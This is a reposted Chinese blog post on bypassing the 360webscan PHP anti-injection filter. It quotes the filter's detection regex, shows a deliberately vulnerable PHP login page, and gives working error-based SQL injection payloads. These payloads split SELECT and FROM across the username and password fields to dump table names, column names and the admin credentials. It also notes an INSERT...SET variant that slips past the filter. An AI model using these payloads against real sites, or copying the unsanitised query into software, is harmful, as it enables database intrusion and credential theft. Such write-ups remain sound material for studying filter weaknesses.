生活总是需要一点新的色彩,最近看Mysql基于数据类型溢出的报错注入,又重新燃起了我以前对SQLi的激情。感觉自己还是很喜欢这个东西的。发现凡是 能和“绕过”有关系的(想了想,还真不包括那些硬件DEP ASLR啥的哈,脑子不够用 那个真爱不起)东西我都很喜欢,而且欲罢不能。所以找回来了之前绕过360webscan时的那个文件,看看防注入是否也能绕过(当然,这个已经被@phith0n利用$_SERVER[‘PHP_SELF’]那块的缺陷绕过了一次 ,我这个是另外一个故事).下面是这个兼备了防注入和防XSS功能的防御文件的正则部分:
//拦截get $getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //拦截POST $postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //拦截cookies $cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
又是这个正则,虽然已经是第二次看了,但看的还是眼花缭乱。why?因为我第一次就没看懂。当时也是黑盒测试摸规则。如果非要让我给正则一句评语,我觉得会是:REGEX MUST DIE
在这里再提一下另外一个bypass来自@园长。因为:
http://localhost/360.php?sql=insert into user (user,pass) values ('admin','123456')
还可以写成:
http://localhost/360.php?sql=insert into user set user='admin',pass='123456'
所以上面的正则 INSERT\\s+INTO.+?VALUES 是匹配不到的。原因是INTO后面没有出现预期的VALUES。
还有别的办法么?也许是有的。我们先大概把上面那一坨正则中最重要的两处分离出来:
UNION.+?SELECT (SELECT|DELETE).+?FROM
union后面但凡出现select,又或者select后面只要出现from就会拦截。看上去是几乎完美的。因为多数情况下我们的目标都是访问管理员的 那张表来获取管理员的账号密码。如果想要访问其它表就只能通过上面被过滤的途径来进行访问。(如果是后台登录页面存在注入,情况可能会特殊一些 因为不需要访问其它的表。这个情况比较简单 就不去讨论了)
现在让我们来看看一个SQL注入漏洞的例子:
<?php require_once($_SERVER['DOCUMENT_ROOT'].'/360webscan.php'); $link=mysql_connect('localhost','用户名','密码'); mysql_select_db('sqli',$link); ?> <meta charset=utf-8> <p class="bread">XX网站内容管理系统 >> 后台登录</p> <form action="" method="post"> <table width="50%"> <tr> <th>username:</th> <td><input type="text" name="user"></td> </tr> <tr> <th>password:</th> <td><input type="text" name="password"></td> </tr> <tr align=center> <td> <input type="submit" value="login" name="s"></td> </tr> </table> </form> <h1>虽然有SQLi 漏洞。但是你绕得过360webscan么?</h1> <?php if($_POST['s']) { $user = $_POST['user']; $pass = $_POST['password']; $re = mysql_query("select * from admin where username = '$user' and password = '$pass'"); if(mysql_num_rows($re) == 0){ echo 'Bad username or password'; } else { echo htmlspecialchars($user).' welcome!'."<BR><BR>".'Admin\'s Secret:W4s that ez?'; } echo mysql_error($link). " \n"; } ?>
这只是个例子,你不必把它看做是管理员登录页面,因为如果当前表是admin的表就没有访问其它的表的必要了。所以你只要明白在这个例子里我们有两个可控 的变量在query就好了。一个是$user而另外一个$pass.有两个可控的变量就可以了?嗯,是的。因为我们可以用HTTP Parameter Fragmentation。把会触发正则的部分分别提交给两个变量,正则无法匹配注入攻击,最后进入到Query时,不就绕过了嘛……
我们在用户名处填写:
' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*
再跑回到密码处填写:
*/from information_schema.table_constraints where constraint_schema=database())))#
最后进到query是就会是这样:
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*' and password = '*/from information_schema.table_constraints where constraint_schema=database())))#'
我们用注释符/* */注释掉了中间的’ and password = ‘,最后再用注释符#注释掉了尾部的单引号。也就是说实际上会执行的query是:
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database())))
由于select 和from 都是分开提交的所以并不会触发(SELECT|DELETE).+?FROM 。也成功获取了其它的表(我这个裤里只有一个表……所以爆出来只能看到admin):
接着爆一下字段,
用户名: ' xor extractvalue(1, concat(0x5c,(select group_concat(column_name)/* 密码:*/from information_schema.columns where table_name='admin')))#
最后拿下管理账号密码:
用户名: ' xor extractvalue(1, concat(0x5c,(select group_concat(username,0x2b,password)/* 密码: */from admin limit 1)))#
缺点是需要两个可控的变量出现在同一个query里。重点就是我绕过去了。就这样……
转自:http://sb.f4ck.org/thread-19171-1-1.html
ps:作者的绕过方式算是一种思路,要求是必须注入点必须要两个参数可注入。上面提到的通过将insert into user (user,pass) values (‘admin’,’123456′)换成insert into user set user=’admin’,pass=’123456′来绕过的方式思路很好。
转载请注明:jinglingshu的博客 » 360webscan 防注入绕过(HPF)